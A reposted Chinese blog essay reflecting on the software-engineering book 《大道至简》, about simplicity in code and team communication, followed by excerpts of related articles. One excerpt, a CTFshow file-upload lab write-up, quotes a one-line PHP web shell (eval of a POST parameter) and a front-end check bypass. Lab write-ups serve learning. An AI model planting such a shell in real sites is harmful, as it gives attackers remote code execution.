大道至简读后有感

news/2024/11/12 4:23:18/文章来源:https://www.cnblogs.com/tiandaochouq/p/18332098

《大道至简》读后有感

作为一名初学计算机语言的学生,在语言的学习过程中,总会有各种问题困扰我。在阅读《大道至简》这本经典软件工程读物之前,我过去常常是追求复杂性和繁琐的代码设计。因为我觉得这样能体现我的个人水平,更“高级”之类的,我会为了实现某个功能而不断添加新的代码和逻辑,导致整个代码变得难以理解和维护。我也曾看到别人在代码中使用大量的嵌套和复杂的逻辑,导致后续的修改和维护非常困难。

然而,在阅读了大道至简之后,我发现这以上的看法只是“门外汉”眼中的计算机,而在我们这些真正学习,理解,运用计算机语言的人们眼中,计算机不应该是这样。复杂的逻辑,大量的嵌套,不应该是计算机的本质。相反,我认为计算机的本质应该回归0与1如此这般的简洁与明了。就如同《大道至简》当中的愚公一样,只需要简单的挖掘,就能让程序运行起来。随后“子子孙孙无穷尽也”便完成了循环。

其次在完成了“子子孙孙无穷尽”的基础上,再去思考“积薪烧之”,也就是‘方法’的更进一步。而方法的出现也是为了让过程更加简洁,正如文中的章节名一样‘是懒人造就了方法’目的就是为了让‘懒人’在编程的过程中更方便,更简洁,更能“不加思考”的写出想要的程序。

综合上述两点,我认识到过去的做法会导致代码质量的下降和团队效率的降低。复杂的代码会增加bug的产生和排查难度,而简洁的设计则可以帮助团队更好地协作和交付高质量的产品,只有简洁明了,才会对自己,与他人更加友好,达成“你好,我好,大家好”的成就。

为了避免再次掉入陷阱,我计划改变自己的代码设计方式。我会注重代码的简洁和清晰,避免不必要的复杂性和嵌套。同时,我也会学习和借鉴书中提出的一些设计原则和实践,如单一职责原则、开闭原则等诸如此类,来指导自己更好地设计和编写代码。

至于文中的团队管理,交流沟通方面,由于我还功力尚浅,还没有吃到过红利,也没有吃什么亏,所以对这方面的理解交浅。但是通过我的生活各种事情,倒也是能感同身受,流于形式的沟通,的确会造成许多麻烦,例如甲方与程序员之间,就如下面的图所示:

615e4d421fa7f57b858850f03665146bbfd976db533f78d68a0573af9084e2

这样的情况就容易让人贻笑大方了。

最后总结以下我的看法与观点:我想,计算机语言只是一种编程的工具,只是在不同情况下的方便与否。所谓简洁,不是语言上的简洁,而是思维上的简洁,思维上的直达目的,一针见血。只有这样,才能真正触摸到简洁的门槛,理解简洁,并将简洁的作用发挥到极致。

这样,不论是在编程语言上,在与人沟通上,还是管理团队上,甚至是在思维的深度与广度,都能够一针见血,直达目的。

当然,通过不断地学习和实践,我相信可以提高自己的软件工程水平,也能够更好地避免过去常常犯的错误。在未来的工作中,我希望能够通过简洁的代码设计,提高团队的效率和产品的质量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/774009.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mongodb数据库范围分片数据分布不均匀

【说明】 当前使用mongodb分片,三个分片mongos> sh.status() --- Sharding Status --- sharding version: {"_id" : 1,"minCompatibleVersion" : 5,"currentVersion" : 6,"clusterId" : ObjectId("66a30ccca62de41d6b0241a4&…

Markdown排版规范

Markdown 语法虽然多,但随便乱用的话反而会显得不美观,本文就推荐一些常见的排版规则。Markdown 语法虽然多,但随便乱用的话反而会显得不美观,本文就推荐一些常见的排版规则。 ‍ ‍ Markdown 标记的使用规范 ‍ 标题一级标题,通常是用来写文章的标题。而大部分情况下,文…

便宜的和贵的 SSL 证书有什么区别?

在网络世界中,SSL 证书如同守护网站安全的忠诚卫士,确保数据在传输过程中的保密性和完整性。然而,当我们在选择 SSL 证书时会发现,其价格参差不齐,从免费到昂贵,跨度较大。那么,便宜的 SSL 证书和贵的 SSL 证书到底有哪些显著的区别呢? 验证级别和审核流程 首先,验证方…

在 Visual Studio 2022 中,开发 ASP.NET 网站并在 Windows Server 2003 中进行部署

一、ASP.NET 网站程序开发 新建项目类型:ASP.NET Web 应用程序(.NET Framework) 引用包:Microsoft.AspNet.WebApi、Microsoft.AspNet.Mvc,版本:4.0.X 创建文件:Global.asax 启动代码: public class WebApiApplication : HttpApplication {protected void Application_S…

stable diffusion 入门教程

sd基础 工作原理&入门输入提示词后 有文本编码器将提示词编译成特征向量,vae编码器将特征向量传入潜空间内,特征向量在潜空间内不断降噪,最后通过vae解码器将降噪之后的特征向量 解码成一个个像素组成的图片 一般选中默认vae模型解码编码的模型CLIP值越大,提前停止的越…

雷达气象学(5)——多普勒天气雷达的原理

目录5.1 多普勒效应和多普勒频移5.2 最大不模糊速度和速度模糊5.2.1 脉冲对处理技术5.2.2 最大不模糊速度5.2.3 速度模糊5.2.4 速度退模糊算法5.3 最大不模糊距离和距离折叠5.3.1 最大不模糊距离5.3.2 距离折叠5.3.3 距离去折叠的方法5.4 多普勒两难5.5 WSR-88D 的取样技术 5.1…

在macOS开发stm32:CubeIDE+CubePro方案

STM32CubeIDE和STM32CubeProgrammer都有Mac版。 STM32CubeIDE用于创建项目和编写代码,编译出HEX文件。 STM32CubeProgrammer用于连接ST-Link v2和烧录程序,把HEX文件下载到STM32单片机。 在安装STM32CubeIDE和STM32CubeProgrammer时,会把相关驱动下载安装。所以,等我安装完…

[HTTP] HTTP 协议 Response Header 之 Content-Length、Transfer-Encoding与Content-Encoding

0 引言在近期项目一场景中,一 Web API (响应内容:7MB - 40MB、数据项:5W-20W条)的网络传输耗时较大,短则 5s,长则高达25s,前端渲染又需要耗时 9s-60s。 在这个场景中,前端的问题暂且不表。那么针对后端的问题,个人认为还是有较大的优化空间:1)启用HTTP 内容压缩策略…

Zabbix 5.0 LTS 配置企业微信(Webhook)自动发送告警信息

依据前面文章《Zabbix 5.0 LTS URL 健康监测》环境,实现企业微信(Webhook)自动发送告警信息。 一、创建企业微信机器人先在自己的企业微信群里创建一个机器人,并获取其 WebHook 地址。右击群聊天卡片,添加群机器人。 获得一个类似下图的 WebHook 地址。注意,这个 WebHook 地…

【逆运动学2】damped least squares method阻尼最小二乘法

逆运动学逆运动学,就是从操作空间的end effector position and orientation,求关节空间的joint position的问题。在之前的文章,我们简单提到求逆运动学解的解析解法和优化解法,详细讲解了用逆瞬时(或说微分)运动学即雅可比矩阵法迭代求解逆运动学的方法。这篇文章我们继续…

CTFshow web入门vip 文件上传

CTFshow web入门vip 文件上传web151 题目提示前端校验不可靠,看源码可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png 然后把前端验证修改一下,把文件后缀限制改成php 写个一句话木马传进去 1.php <?php eval($_POST[x]);?>url中需要…